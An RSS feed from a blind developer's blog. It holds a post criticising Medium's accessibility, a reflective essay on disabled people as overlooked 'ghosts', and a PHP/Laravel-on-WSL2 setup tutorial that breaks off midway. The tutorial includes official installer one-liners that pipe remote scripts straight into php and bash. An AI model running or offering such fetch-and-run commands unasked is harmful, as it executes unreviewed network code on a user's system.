<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Florian Beijers</title>
    <link>https://florianbeijers.xyz/</link>
    <description>Because everybody needs a spot on the web these days</description>
    <pubDate>Mon, 20 Apr 2026 00:48:10 +0000</pubDate>
    <item>
      <title>Back, I Am: What’s changed?</title>
      <link>https://florianbeijers.xyz/back-i-am-whats-changed?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Honestly, a lot. Also not all that much. It’s complicated.&#xA;I’ve had a chance to grow up over the last 4–5 years. I’ve been places, worked on various projects, developed new interests. What hasn’t changed is my overall stance on accessibility, on teaching it forward and on calling em how I see em where blatant disregard or lack of care is concerned. On that note:&#xA;Medium: really, folks?&#xA;&#xA;Before I get into it, please note that this is a free copy of an article on Medium. Some of the rest of the article won&#39;t make sense without that context.&#xA;&#xA;A number of years ago, I wrote an article stating that Medium was not viable as a platform for me to write on, due to their stance, or lack thereof, on accessibility.&#xA;That, I’m sorry to say, hasn’t changed all that much.&#xA;My biggest complaint, the lack of alt text on the platform, has been somewhat mitigated. At least, it’s possible to add alt text now, which is one of the reasons I’m able to justify to myself to even write on this platform.&#xA;The editor is pretty much as inaccessible as it’s always been, with very limited hotkey support, a lot of mouse-only operations, piles and piles of unlabeled buttons which could be fixed with literally ten seconds of work, the list goes on. Case and point: it took me five minutes to even put in this second heading, and it’s not of the correct hierarchical level. But then, given Medium only allows for 2 heading levels, I guess the point is mostly moot.&#xA;Does Medium care about accessibility? Quite honestly I doubt it. It’s hard to say; this kind of neglect is often a matter of upper management not seeing the need, the room etc. to accommodate about a seventh of the world’s population. The developers themselves are far more often far more willing to put in the work, they’re often just not allowed to spend time on it. Make of that what you will.&#xA;So why still write on it? Quite simply, so people can find it. I can’t get around the fact that Medium is huge. It comes up on search engine result pages, it is apparently important enough for people to become premium members just to read articles on it.&#xA;Having said that, Medium will NEVER be the only place any article of mine shows up. I am on here so I can have my content available to those who need it. I may even paywall my articles on here so I can earn a small amount of money from them, but there will always be a link to a free version in order to not lock out potential readers.&#xA;TLDR: I’ll be on here. I won’t have to like it, though. ;)&#xA;&#xA;My older articles: accurate still?&#xA;For the most part, yes. What follows is an itemized list of things I can remember having mentioned over those couple articles, and their current status:&#xA;Jetbrains’ IDEs have gotten a little bit better, but they’re still a pain to use with screen readers.&#xA;I think I may have mentioned Slack and Discord in the past. Those are definitely a lot better than they used to be.&#xA;Mac OS, in my opinion at least, still lags behind Windows where the maturity of its accessibility offerings is concerned. Things have improved, but in my opinion not improved enough to be one’s main workhorse for anything but music creation, where it does shine in certain ways.&#xA;I’m on a Lenovo now! :P&#xA;Some things have changed even throughout the time I wrote my articles, most notably the accessibility improvements in FreeCodeCamp, Codecademy and VS Code. Those are definite victories for accessibility. There have also been some serious groanworthy slips though. Looking at you, Notion.&#xA;&#xA;What about yours truly?&#xA;Honestly I’ve been all over the place. I was lead coder on a text-based game for a while, consulted on a boatload of projects as an accessibility auditor/advocate, kept up ye olde programming, the works.&#xA;Two relatively new things is that I’m a Twitch streamer now, I go by Zersiax, and that I’ve developed a serious appreciation and interest for cybersecurity. On that note, more posts surrounding those topics will no doubt feature in the coming time.&#xA;Streams largely cover accessibility in gaming, game development and overall ways to work around inaccessible content in certain types of games, as well as the occasional coding or hacking stream. Cybersecurity might be anything from capture the flag writeups to accessibility reviews of tools, courses, etc.&#xA;These are severely undercovered fields, and I’d like to try to do my part. With that though, this article has reached its end.]]&gt;</description>
      <content:encoded><![CDATA[<p>Honestly, a lot. Also not all that much. It’s complicated.
I’ve had a chance to grow up over the last 4–5 years. I’ve been places, worked on various projects, developed new interests. What hasn’t changed is my overall stance on accessibility, on teaching it forward and on calling em how I see em where blatant disregard or lack of care is concerned. On that note:</p>

<h2 id="medium-really-folks" id="medium-really-folks">Medium: really, folks?</h2>

<p>Before I get into it, please note that this is a free copy of an article on Medium. Some of the rest of the article won&#39;t make sense without that context.</p>

<p>A number of years ago, I wrote an article stating that Medium was not viable as a platform for me to write on, due to their stance, or lack thereof, on accessibility.
That, I’m sorry to say, hasn’t changed all that much.
My biggest complaint, the lack of alt text on the platform, has been somewhat mitigated. At least, it’s possible to add alt text now, which is one of the reasons I’m able to justify to myself to even write on this platform.
The editor is pretty much as inaccessible as it’s always been, with very limited hotkey support, a lot of mouse-only operations, piles and piles of unlabeled buttons which could be fixed with literally ten seconds of work, the list goes on. Case and point: it took me five minutes to even put in this second heading, and it’s not of the correct hierarchical level. But then, given Medium only allows for 2 heading levels, I guess the point is mostly moot.
Does Medium care about accessibility? Quite honestly I doubt it. It’s hard to say; this kind of neglect is often a matter of upper management not seeing the need, the room etc. to accommodate about a seventh of the world’s population. The developers themselves are far more often far more willing to put in the work, they’re often just not allowed to spend time on it. Make of that what you will.
So why still write on it? Quite simply, so people can find it. I can’t get around the fact that Medium is huge. It comes up on search engine result pages, it is apparently important enough for people to become premium members just to read articles on it.
Having said that, Medium will NEVER be the only place any article of mine shows up. I am on here so I can have my content available to those who need it. I may even paywall my articles on here so I can earn a small amount of money from them, but there will always be a link to a free version in order to not lock out potential readers.
TLDR: I’ll be on here. I won’t have to like it, though. ;)</p>

<h2 id="my-older-articles-accurate-still" id="my-older-articles-accurate-still">My older articles: accurate still?</h2>

<p>For the most part, yes. What follows is an itemized list of things I can remember having mentioned over those couple articles, and their current status:
*  Jetbrains’ IDEs have gotten a little bit better, but they’re still a pain to use with screen readers.
* I think I may have mentioned Slack and Discord in the past. Those are definitely a lot better than they used to be.
* Mac OS, in my opinion at least, still lags behind Windows where the maturity of its accessibility offerings is concerned. Things have improved, but in my opinion not improved enough to be one’s main workhorse for anything but music creation, where it does shine in certain ways.
* I’m on a Lenovo now! :P
Some things have changed even throughout the time I wrote my articles, most notably the accessibility improvements in FreeCodeCamp, Codecademy and VS Code. Those are definite victories for accessibility. There have also been some serious groanworthy slips though. Looking at you, Notion.</p>

<h2 id="what-about-yours-truly" id="what-about-yours-truly">What about yours truly?</h2>

<p>Honestly I’ve been all over the place. I was lead coder on a text-based game for a while, consulted on a boatload of projects as an accessibility auditor/advocate, kept up ye olde programming, the works.
Two relatively new things is that I’m a Twitch streamer now, <a href="https://twitch.tv/zersiax">I go by Zersiax</a>, and that I’ve developed a serious appreciation and interest for cybersecurity. On that note, more posts surrounding those topics will no doubt feature in the coming time.
Streams largely cover accessibility in gaming, game development and overall ways to work around inaccessible content in certain types of games, as well as the occasional coding or hacking stream. Cybersecurity might be anything from capture the flag writeups to accessibility reviews of tools, courses, etc.
These are severely undercovered fields, and I’d like to try to do my part. With that though, this article has reached its end.</p>
]]></content:encoded>
      <guid>https://florianbeijers.xyz/back-i-am-whats-changed</guid>
      <pubDate>Wed, 22 Nov 2023 23:53:50 +0000</pubDate>
    </item>
    <item>
      <title>A Story from the Great Beyond: The Disabled Ghosts of Earth</title>
      <link>https://florianbeijers.xyz/a-story-from-the-great-beyond-the-disabled-ghosts-of-earth?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Hello, reader. I ask you, can you see me?&#xA;Do you know of me?&#xA;I can&#39;t see you. I know of you, though. I live among you, flicker in and out of your existence like a fluorescent light on the Fritz.&#xA;I&#39;m at the edge of your awareness, yanked into being from time to time by an errant thought, a sentence on a page, a sound byte.&#xA;Some of you even catch a true glimpse of us. The community beyond the bubble, the segregated, the ones you had forgotten about and soon will again.&#xA;Do you know who I am, yet?&#xA;&#xA;I work&#xA;&#xA;I&#39;m a fully blind individual who has worked several jobs. Let&#39;s run down the list:&#xA;I was a telemarketer&#xA;&#xA;One of those annoying ones that try to sell you stuff. I came down your phone line trying to sell you energy contracts, or phone plans. &#xA;Or well... I did that for a few days. After that, I was relegated to a simpler script, that just had me asking if a particular piece of mail had come in that day.&#xA;Why?&#xA;Because the software to run through the call scripts was not built with accessibility in mind. Initially, I couldn&#39;t even do the simple script. it required custom-written screen reader scripts in order to make the software on my work computer behave. people had forgotten to keep me in mind when writing the software. My reminder came too late; the software was already finished and could no longer be altered. This simple script was all I could get it to do reliably. And I&#39;m sure I&#39;ve since been forgotten about again. Several ghosts may have come and gone since I left, all running into the same barrier. Is it any wonder they feel like they need psychics to speak to us? Nobody tends to hear us otherwise...&#xA;&#xA;I&#39;m a Programmer&#xA;&#xA;These days, more as a hobby than a profession, but I still consider myself a programmer by trade.&#xA;I worked several jobs in this field. I worked on various backends, various websites. &#xA;I worked for companies who all figured I could make them money, as long as I didn&#39;t cost them any. &#xA;I was in a state of Quantum Remembrance: People gave me enough to be able to work for them, but not enough to make their tools workable by those like me. This wasn&#39;t our demographic, not our target audience. I could work on that if I had time to spare, or in my spare time. Or not at all.&#xA;Time to spare as a blind programmer doesn&#39;t exist. Things, particularly when working for a company with heaps of different projects, take a bit longer to onboard. More than anything else though, I was busy reminding folks I exist.&#xA;Tools my colleagues used were not accessible. Tools I used myself became inaccessible. &#xA;&#xA;  &#34;We have a new UI, isn&#39;t it great?&#34; &#xA;  &#39;No... it&#39;s not. You forgot I exist again...&#34;&#xA;&#xA;A blind programmer working both as a freelancer as well as a corporate wage slave plays a perpetual game of Russian roulette. It&#39;s like a plumber working with explosive tools; time bombs with an unknown amount of time on the timer. &#xA;Wake up one day, your tools have all blown up and there&#39;s no way to get them back. Scrounge around for new tools, all while trying to meet your quota, make your appointments.&#xA;Just like politicians lording over the slums they will never visit, developers writing websites, web apps, dev tools, productivity software toss their creations over the fence thinking they&#39;re doing the best they can for everyone.&#xA;They do... they just forgot I exist...&#xA;Until I, or someone like me, reminds them. A flicker of an ethereal presence, a ghostly whisper, easily ignored, easily squashed by reasonings of science, of business. &#xA;&#xA;  &#34;You must be mistaken... ghosts wouldn&#39;t use our products... would they?&#34; &#xA;&#xA;I&#39;m a Shaman&#xA;&#xA;A shaman, in some versions of the title, acts like a bridge between the realm of the living and the realm of the dead.&#xA;I currently work as an accessibility manager for a QA firm. I guess I am a shamanager.&#xA;I teach the rituals needed to commune with the ghosts within the outskirts of our reality, but even more so, I act as a reminder of those outskirts. I, after all, am myself one of these ghosts.&#xA;&#xA;Quick check... do you still remember me?&#xA;&#xA;I get to build bridges, I get to bring the outskirts into the spotlight as it were. I work with a willing group of people who want to see through the barrier. And yet, I need to make sure I&#39;m not forgotten, or all my teachings will similarly be forgotten when they are needed most. Not on purpose, of course, just... slipped the mind. Nobody means to, of course...&#xA;&#xA;  Can you still hear me, dear reader?&#xA;&#xA;I Am&#xA;&#xA;Outside of work, one is free. That is the idea, right? Work-life balance. Work stops when you clock out for the day.&#xA;The work of a ghost never ends, though. For a ghost, life is work. You go to your job, where you work, then you go home, where you work.&#xA;You work, for to leisure in a world where a system is not built for ghosts is to disappear into obscurity. Until you owe money. People seem to suddenly remember you exist when you owe money. It&#39;s interesting how that works.&#xA;When you owe money, reality tips over, because you suddenly end up in a reality where every ghost is thought to have their own shaman to bridge the gaps. &#xA;A ghost can&#39;t always hold a pen, or use one, or read a form. The powers that be who sent the form will ask such unfortunate ghosts to employ their shaman to help them, expecting the poor, unsuspecting ectoplasmic entity to divulge all their personal ghastly secrets to this individual. &#xA;Let me divulge one of those mystical workings though: a lot of ghosts haunt alone. No shaman in sight. You forgot we existed again, didn&#39;t you?&#xA;&#xA;ESP?&#xA;&#xA;How did we get here? That, my dear reader, is a story spanning many ages, many decisions and many mistakes. But we did get here.&#xA;Most mainstream media is not ghost-proof. Most video games, memes, websites, physical spaces, get-togethers, communities and events exclude one type of ghost or another, often knowingly so.&#xA;A lot of communication methods are not inclusive to a lot of different types of ghosts. Different communities the world is rather not reminded of too often; pray tell it might ruin the Elysium we are meant to believe we&#39;ve built in our post-enlightened state. &#xA;Slowly, agonizingly, agonizingly slowly, it appears we as a collective species are starting to develop some ESP. Extrasensory preception. The ability to look outside one&#39;s bubble to see what&#39;s happening outside the sand dune our collective heads have been stuffed down for most our existences. Is it enough?&#xA;Will the 2020s, the 2030s, the 2040s be the decade where we decide to let our ghosts be humans again? Where the segregated communities can have their culture without being entirely excluded from the overall collective consciousness the many enjoy?&#xA;Where ghosts play, watch, discuss and consume the same content, at the same time the non-ghosts do?&#xA;Or will we remain as we are? Formless spectres, at times drawn into clarity by an errant thought, or word, or sound byte?&#xA;For the moment, I thrive in my little ghostly existence. I browbeat when I need to browbeat, and I work around the obstacles unknowing, unsuspecting ghostists place on my path. I&#39;d certainly not mind a bit more than a ghost of a chance though. Nice as luck can be, it does tend to run out at times.&#xA;&#xA;What say you, dear reader? Do you still remember me?&#xA;Will you, 10 minutes from now? ..w abo.. ...orrow? Wh.................???&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Hello, reader. I ask you, can you see me?
Do you know of me?
I can&#39;t see you. I know of you, though. I live among you, flicker in and out of your existence like a fluorescent light on the Fritz.
I&#39;m at the edge of your awareness, yanked into being from time to time by an errant thought, a sentence on a page, a sound byte.
Some of you even catch a true glimpse of us. The community beyond the bubble, the segregated, the ones you had forgotten about and soon will again.
Do you know who I am, yet?</p>

<h2 id="i-work" id="i-work">I work</h2>

<p>I&#39;m a fully blind individual who has worked several jobs. Let&#39;s run down the list:</p>

<h3 id="i-was-a-telemarketer" id="i-was-a-telemarketer">I was a telemarketer</h3>

<p>One of those annoying ones that try to sell you stuff. I came down your phone line trying to sell you energy contracts, or phone plans.
Or well... I did that for a few days. After that, I was relegated to a simpler script, that just had me asking if a particular piece of mail had come in that day.
<strong>Why?</strong>
Because the software to run through the call scripts was not built with accessibility in mind. Initially, I couldn&#39;t even do the simple script. it required custom-written screen reader scripts in order to make the software on my work computer behave. people had forgotten to keep me in mind when writing the software. My reminder came too late; the software was already finished and could no longer be altered. This simple script was all I could get it to do reliably. And I&#39;m sure I&#39;ve since been forgotten about again. Several ghosts may have come and gone since I left, all running into the same barrier. Is it any wonder they feel like they need psychics to speak to us? Nobody tends to hear us otherwise...</p>

<h3 id="i-m-a-programmer" id="i-m-a-programmer">I&#39;m a Programmer</h3>

<p>These days, more as a hobby than a profession, but I still consider myself a programmer by trade.
I worked several jobs in this field. I worked on various backends, various websites.
I worked for companies who all figured I could make them money, as long as I didn&#39;t cost them any.
I was in a state of Quantum Remembrance: People gave me enough to be able to work for them, but not enough to make their tools workable by those like me. This wasn&#39;t our demographic, not our target audience. I could work on that if I had time to spare, or in my spare time. Or not at all.
Time to spare as a blind programmer doesn&#39;t exist. Things, particularly when working for a company with heaps of different projects, take a bit longer to onboard. More than anything else though, I was busy reminding folks I exist.
Tools my colleagues used were not accessible. Tools I used myself became inaccessible.</p>

<blockquote><p>“We have a new UI, isn&#39;t it great?”
&#39;No... it&#39;s not. You forgot I exist again...”</p></blockquote>

<p>A blind programmer working both as a freelancer as well as a corporate wage slave plays a perpetual game of Russian roulette. It&#39;s like a plumber working with explosive tools; time bombs with an unknown amount of time on the timer.
Wake up one day, your tools have all blown up and there&#39;s no way to get them back. Scrounge around for new tools, all while trying to meet your quota, make your appointments.
Just like politicians lording over the slums they will never visit, developers writing websites, web apps, dev tools, productivity software toss their creations over the fence thinking they&#39;re doing the best they can for everyone.
They do... they just forgot I exist...
Until I, or someone like me, reminds them. A flicker of an ethereal presence, a ghostly whisper, easily ignored, easily squashed by reasonings of science, of business.</p>

<blockquote><p>“You must be mistaken... ghosts wouldn&#39;t use our products... would they?”</p></blockquote>

<h3 id="i-m-a-shaman" id="i-m-a-shaman">I&#39;m a Shaman</h3>

<p>A shaman, in some versions of the title, acts like a bridge between the realm of the living and the realm of the dead.
I currently work as an accessibility manager for a QA firm. I guess I am a shamanager.
I teach the rituals needed to commune with the ghosts within the outskirts of our reality, but even more so, I act as a reminder of those outskirts. I, after all, am myself one of these ghosts.</p>

<p><strong>Quick check... do you still remember me?</strong></p>

<p>I get to build bridges, I get to bring the outskirts into the spotlight as it were. I work with a willing group of people who want to see through the barrier. And yet, I need to make sure I&#39;m not forgotten, or all my teachings will similarly be forgotten when they are needed most. Not on purpose, of course, just... slipped the mind. Nobody means to, of course...</p>

<blockquote><p>Can you still hear me, dear reader?</p></blockquote>

<h2 id="i-am" id="i-am">I Am</h2>

<p>Outside of work, one is free. That is the idea, right? Work-life balance. Work stops when you clock out for the day.
The work of a ghost never ends, though. For a ghost, life is work. You go to your job, where you work, then you go home, where you work.
You work, for to leisure in a world where a system is not built for ghosts is to disappear into obscurity. Until you owe money. People seem to suddenly remember you exist when you owe money. It&#39;s interesting how that works.
When you owe money, reality tips over, because you suddenly end up in a reality where every ghost is thought to have their own shaman to bridge the gaps.
A ghost can&#39;t always hold a pen, or use one, or read a form. The powers that be who sent the form will ask such unfortunate ghosts to employ their shaman to help them, expecting the poor, unsuspecting ectoplasmic entity to divulge all their personal ghastly secrets to this individual.
Let me divulge one of those mystical workings though: a lot of ghosts haunt alone. No shaman in sight. You forgot we existed again, didn&#39;t you?</p>

<h2 id="esp" id="esp">ESP?</h2>

<p>How did we get here? That, my dear reader, is a story spanning many ages, many decisions and many mistakes. But we did get here.
Most mainstream media is not ghost-proof. Most video games, memes, websites, physical spaces, get-togethers, communities and events exclude one type of ghost or another, often knowingly so.
A lot of communication methods are not inclusive to a lot of different types of ghosts. Different communities the world is rather not reminded of too often; pray tell it might ruin the Elysium we are meant to believe we&#39;ve built in our post-enlightened state.
Slowly, agonizingly, agonizingly slowly, it appears we as a collective species are starting to develop some ESP. Extrasensory preception. The ability to look outside one&#39;s bubble to see what&#39;s happening outside the sand dune our collective heads have been stuffed down for most our existences. Is it enough?
Will the 2020s, the 2030s, the 2040s be the decade where we decide to let our ghosts be humans again? Where the segregated communities can have their culture without being entirely excluded from the overall collective consciousness the many enjoy?
Where ghosts play, watch, discuss and consume the same content, at the same time the non-ghosts do?
Or will we remain as we are? Formless spectres, at times drawn into clarity by an errant thought, or word, or sound byte?
For the moment, I thrive in my little ghostly existence. I browbeat when I need to browbeat, and I work around the obstacles unknowing, unsuspecting ghostists place on my path. I&#39;d certainly not mind a bit more than a ghost of a chance though. Nice as luck can be, it does tend to run out at times.</p>

<p>What say you, dear reader? Do you still remember me?
Will you, 10 minutes from now? ..w abo.. ...orrow? Wh.................???</p>
]]></content:encoded>
      <guid>https://florianbeijers.xyz/a-story-from-the-great-beyond-the-disabled-ghosts-of-earth</guid>
      <pubDate>Mon, 27 Feb 2023 21:12:02 +0000</pubDate>
    </item>
    <item>
      <title>Setting up a PHP/Laravel environment on WSL2 and Windows</title>
      <link>https://florianbeijers.xyz/setting-up-a-php-laravel-environment-on-wsl2-and-windows?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Intro&#xA;&#xA;To most, choosing an operating system to work in is a voluntary choice, at least for their hobby projects. To some, me included, that isn&#39;t quite a luxury we can afford.&#xA;Varing levels of accessibility, as well as screenreader maturity and the breathing room to run damage control if something suddenly becomes inaccessible or collapses in some other way make Windows 10 the most expedient and effective operating system for most people who are trying to be productive in tech, be it as a developer, data scientist or cybersecurity professional.&#xA;Unfortunately, where development dependencies, tools and applications are concerned, especially these days, Windows is often a second-class citizen. If there are bugs, they will usually happen on the Windows side of things, often with hard to diagnose problems as a result.&#xA;Enter WSL2, essentially a lightweight virtual machine that allows for the use of tools written for Linux within a Windows environment. This opens up a whole bunch of doors that we previously needed to set up a complicated virtual machine strategy for.&#xA;In this article, I&#39;ll go over setting up a PHP/Laravel environment on WSL2, running on Windows 10.&#xA;!-- more --&#xA;&#xA;Set up WSL2&#xA;&#xA;The easiest way to set up WSL2 is to follow the official wsl2 setup guide. No accessibility gotchas should be encountered here in most cases.&#xA;There are some reports about AMD users getting an odd prompt when enabling HyperV, I will edit this post if I encounter this myself and add remediation steps if any are required.&#xA;&#xA;Now, we are in 2021, so we are doing this the spiffy way. WSL2, VS Code, Docker, the works.&#xA;&#xA;Set up Docker to work with WSL2&#xA;&#xA;I could wax poetic about this process, but there really isn&#39;t all that much to say. First, Install Docker and subsequently make sure you set it up correctly with WSL2.&#xA;Why Docker? Ehh ...it&#39;s the thing to do these days, it normalizes development dependencies like database versions and a tool we get to a little bit later really, really likes it. Ok, onwards! :)&#xA;&#xA;Set up PHP, composer, tweaks&#xA;&#xA;First, let&#39;s make sure we have all the PHP modules we might need down the line installed, Pick and choose from this apt invocation:&#xA;&#xA;sudo apt-get update&#xA;sudo apt install unzip php php-cli php-fpm php-json php-intl php-common php-mysql php-zip php-gd php-mbstring php-curl php-xml php-pear php-bcmath -yqq&#xA;&#xA;The flags essentially make it so apt doesn&#39;t bother us while setting all that up, this shouldn&#39;t take super long but at least this way you can do something else while it&#39;s happening.&#xA;&#xA;Now next, we need to install composer, the PHP package manager. A nifty little oneliner:&#xA;&#xA;curl -sS https://getcomposer.org/installer | php \&#xA;            &amp;&amp; sudo mv composer.phar /usr/local/bin/ \&#xA;            &amp;&amp; sudo ln -s /usr/local/bin/composer.phar /usr/local/bin/composer&#xA;&#xA;Quick little aside, you ideally want to stay within the Linux filesystem while doing wsl2 stuff. The mounted folder where your windows user folder is is significantly slower within WSL2, so doing a quick cd ~so you can operate from within your Linux home folder is probably worth it.&#xA;Next, in order to prepare for Laravel Valet, which is normally mac only but was ported to Linux, we need to make a small change in /etc/resolv.conf. Add:&#xA;&#xA;[network]&#xA;generateResolvConf=false&#xA;&#xA;These lines may already be there, just commented out. If so, have them not be commented out anymore. ;)&#xA;&#xA;Laravel Valet, Takeout, all the good stuff&#xA;&#xA;First, let&#39;s install the Linux port of Valet and the takeout docker container manager using composer:&#xA;&#xA;composer global require cpriego/valet-linux tightenco/takeout&#xA;&#xA;Composer does not automatically add its global bin folder to the PATH variable, so let&#39;s do that so we can run commands in there without having to go to the directory every time. Add this to ~/.bashrc:&#xA;&#xA;export PATH=~/.config/composer/vendor/bin:$PATH&#xA;&#xA;And then run a simple &#34;source ~/.bashrc&#34;  to load in the changes.&#xA;&#xA;Next, run valet install to set up the valet tool.&#xA;Valet messes with our /etc/resolv.conf , thee file we edited just now, turning it into a symlink. We don&#39;t want this, as that will make WSL reinitialize it on every restart. So:&#xA;&#xA;sudo unlink /etc/resolv.conf&#xA;sudo cp /opt/valet-linux/valet-dns /etc/resolv.conf&#xA;&#xA;On searching around a little, it seems we also need to add a file to preempt any odd DNS bugs. Here goes:&#xA;&#xA;touch /opt/valet-linux/dns-servers&#xA;sudo nano /opt/valet-linux/dns-servers&#xA;&#xA;Just adding &#34;nameserver 1.1.1.1&#34; without the quotes in there should be enough. That is the Cloudflare DNS which is pretty speedy, you can also use 8.8.8.8 for the Google DNS, for example.&#xA;Ok! We&#39;re going places! Now, we can start things off with:&#xA;&#xA;valet start&#xA;sudo service php7.4-fpm start &#xA;&#xA;The second command is a failsafe; sometimes valet start on ubuntu doesn&#39;t seem to start that service properly.&#xA;Now, cd to the folder where your laravel projects will live, say ...~/projects/php, and run valet park.&#xA;&#xA;Next, we need to enable the database. I prefer Postgresql, but there&#39;s a handful that takeout currently supports.&#xA;There&#39;s two ways to do this; running &#34;takeout enable&#34; gives a menu you can arrow through, but given Windows screenreaders haven&#39;t figured out console highlight tracking yet, you&#39;ll probably want to provide the service name yourself, e.g. &#34;takeout enable postgresql&#34;. Follow the instructions and postgres will run on 127.0.0.1 for projects to use.&#xA;&#xA;Setting up DNS resolution to the WSL2 instance&#xA;&#xA;A cool thing about Valet is that it autoconfigures new projects to be reachable on the *.test domain invocation, routing those to localhost. Except ...WSL2&#39;s localhost isn&#39;t our localhost. &#xA;We can add entries for individual sites to C:/Windows/System32/drivers/etc/hosts to route hosts to 127.0.0.1 individually, or we can use the .localhost top-level domain. To my knowledge, only Chrome currently supports this. If you want to go that route:&#xA;&#xA;valet domain localhost&#xA;&#xA;Installing Laravel&#xA;&#xA;We can install Laravel in several ways, here&#39;s a few.&#xA;&#xA;Using Docker and Laravel Sail&#xA;&#xA;Given we already have docker set up, we can use a relatively new addition to the Laravel ecosystem, Laravel Sail. to do this, run the following, where the bit after the TLD is the name of the folder for the project:&#xA;&#xA;curl -s https://laravel.build/helloWorld | bash&#xA;&#xA;This will do a whole bunch of docker magic, after which your application will be accessible on projectname.localhost from chrome. You can read more about Laravel Sail here.&#xA;&#xA;Using Composer&#xA;&#xA;We have composer installed and ready to go, so an alternate way of doing this is by using our already existing infrastructure:&#xA;&#xA;composer global require laravel/installer&#xA;laravel new project name&#xA;&#xA;Conclusion&#xA;&#xA;From here, the existing docs can take over. VS Code is a topic in itself, and will probably merit its own post at some point. Using the various extensions it provides, you can work within the WSL2 container, set up your PHP tools on the WSL2 site in order to get linting and static checking support etc.&#xA;That&#39;s enough out of me for now.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<h3 id="intro" id="intro">Intro</h3>

<p>To most, choosing an operating system to work in is a voluntary choice, at least for their hobby projects. To some, me included, that isn&#39;t quite a luxury we can afford.
Varing levels of accessibility, as well as screenreader maturity and the breathing room to run damage control if something suddenly becomes inaccessible or collapses in some other way make Windows 10 the most expedient and effective operating system for most people who are trying to be productive in tech, be it as a developer, data scientist or cybersecurity professional.
Unfortunately, where development dependencies, tools and applications are concerned, especially these days, Windows is often a second-class citizen. If there are bugs, they will usually happen on the Windows side of things, often with hard to diagnose problems as a result.
Enter WSL2, essentially a lightweight virtual machine that allows for the use of tools written for Linux within a Windows environment. This opens up a whole bunch of doors that we previously needed to set up a complicated virtual machine strategy for.
In this article, I&#39;ll go over setting up a PHP/Laravel environment on WSL2, running on Windows 10.
</p>

<h3 id="set-up-wsl2" id="set-up-wsl2">Set up WSL2</h3>

<p>The easiest way to set up WSL2 is to follow <a href="https://docs.microsoft.com/en-us/windows/wsl/install-win10">the official wsl2 setup guide</a>. No accessibility gotchas should be encountered here in most cases.
There are some reports about AMD users getting an odd prompt when enabling HyperV, I will edit this post if I encounter this myself and add remediation steps if any are required.</p>

<p>Now, we are in 2021, so we are doing this the spiffy way. WSL2, VS Code, Docker, the works.</p>

<h3 id="set-up-docker-to-work-with-wsl2" id="set-up-docker-to-work-with-wsl2">Set up Docker to work with WSL2</h3>

<p>I could wax poetic about this process, but there really isn&#39;t all that much to say. First, <a href="https://www.docker.com/get-started">Install Docker</a> and subsequently <a href="https://docs.docker.com/docker-for-windows/wsl/">make sure you set it up correctly with WSL2</a>.
Why Docker? Ehh ...it&#39;s the thing to do these days, it normalizes development dependencies like database versions and a tool we get to a little bit later really, really likes it. Ok, onwards! :)</p>

<h3 id="set-up-php-composer-tweaks" id="set-up-php-composer-tweaks">Set up PHP, composer, tweaks</h3>

<p>First, let&#39;s make sure we have all the PHP modules we might need down the line installed, Pick and choose from this apt invocation:</p>

<pre><code>sudo apt-get update
sudo apt install unzip php php-cli php-fpm php-json php-intl php-common php-mysql php-zip php-gd php-mbstring php-curl php-xml php-pear php-bcmath -yqq
</code></pre>

<p>The flags essentially make it so apt doesn&#39;t bother us while setting all that up, this shouldn&#39;t take super long but at least this way you can do something else while it&#39;s happening.</p>

<p>Now next, we need to install composer, the PHP package manager. A nifty little oneliner:</p>

<pre><code>curl -sS https://getcomposer.org/installer | php \
            &amp;&amp; sudo mv composer.phar /usr/local/bin/ \
            &amp;&amp; sudo ln -s /usr/local/bin/composer.phar /usr/local/bin/composer
</code></pre>

<p>Quick little aside, you ideally want to stay within the Linux filesystem while doing wsl2 stuff. The mounted folder where your windows user folder is is significantly slower within WSL2, so doing a quick cd ~so you can operate from within your Linux home folder is probably worth it.
Next, in order to prepare for Laravel Valet, which is normally mac only but was ported to Linux, we need to make a small change in /etc/resolv.conf. Add:</p>

<pre><code>[network]
generateResolvConf=false
</code></pre>

<p>These lines may already be there, just commented out. If so, have them not be commented out anymore. ;)</p>

<h3 id="laravel-valet-takeout-all-the-good-stuff" id="laravel-valet-takeout-all-the-good-stuff">Laravel Valet, Takeout, all the good stuff</h3>

<p>First, let&#39;s install the Linux port of Valet and the takeout docker container manager using composer:</p>

<pre><code>composer global require cpriego/valet-linux tightenco/takeout
</code></pre>

<p>Composer does not automatically add its global bin folder to the PATH variable, so let&#39;s do that so we can run commands in there without having to go to the directory every time. Add this to ~/.bashrc:</p>

<pre><code>export PATH=~/.config/composer/vendor/bin:$PATH
</code></pre>

<p>And then run a simple “source ~/.bashrc”  to load in the changes.</p>

<p>Next, run valet install to set up the valet tool.
Valet messes with our /etc/resolv.conf , thee file we edited just now, turning it into a symlink. We don&#39;t want this, as that will make WSL reinitialize it on every restart. So:</p>

<pre><code>sudo unlink /etc/resolv.conf
sudo cp /opt/valet-linux/valet-dns /etc/resolv.conf
</code></pre>

<p>On searching around a little, it seems we also need to add a file to preempt any odd DNS bugs. Here goes:</p>

<pre><code>touch /opt/valet-linux/dns-servers
sudo nano /opt/valet-linux/dns-servers
</code></pre>

<p>Just adding “nameserver 1.1.1.1” without the quotes in there should be enough. That is the Cloudflare DNS which is pretty speedy, you can also use 8.8.8.8 for the Google DNS, for example.
Ok! We&#39;re going places! Now, we can start things off with:</p>

<pre><code>valet start
sudo service php7.4-fpm start 
</code></pre>

<p>The second command is a failsafe; sometimes valet start on ubuntu doesn&#39;t seem to start that service properly.
Now, cd to the folder where your laravel projects will live, say ...~/projects/php, and run valet park.</p>

<p>Next, we need to enable the database. I prefer Postgresql, but there&#39;s a handful that takeout currently supports.
There&#39;s two ways to do this; running “takeout enable” gives a menu you can arrow through, but given Windows screenreaders haven&#39;t figured out console highlight tracking yet, you&#39;ll probably want to provide the service name yourself, e.g. “takeout enable postgresql”. Follow the instructions and postgres will run on 127.0.0.1 for projects to use.</p>

<h3 id="setting-up-dns-resolution-to-the-wsl2-instance" id="setting-up-dns-resolution-to-the-wsl2-instance">Setting up DNS resolution to the WSL2 instance</h3>

<p>A cool thing about Valet is that it autoconfigures new projects to be reachable on the *.test domain invocation, routing those to localhost. Except ...WSL2&#39;s localhost isn&#39;t our localhost.
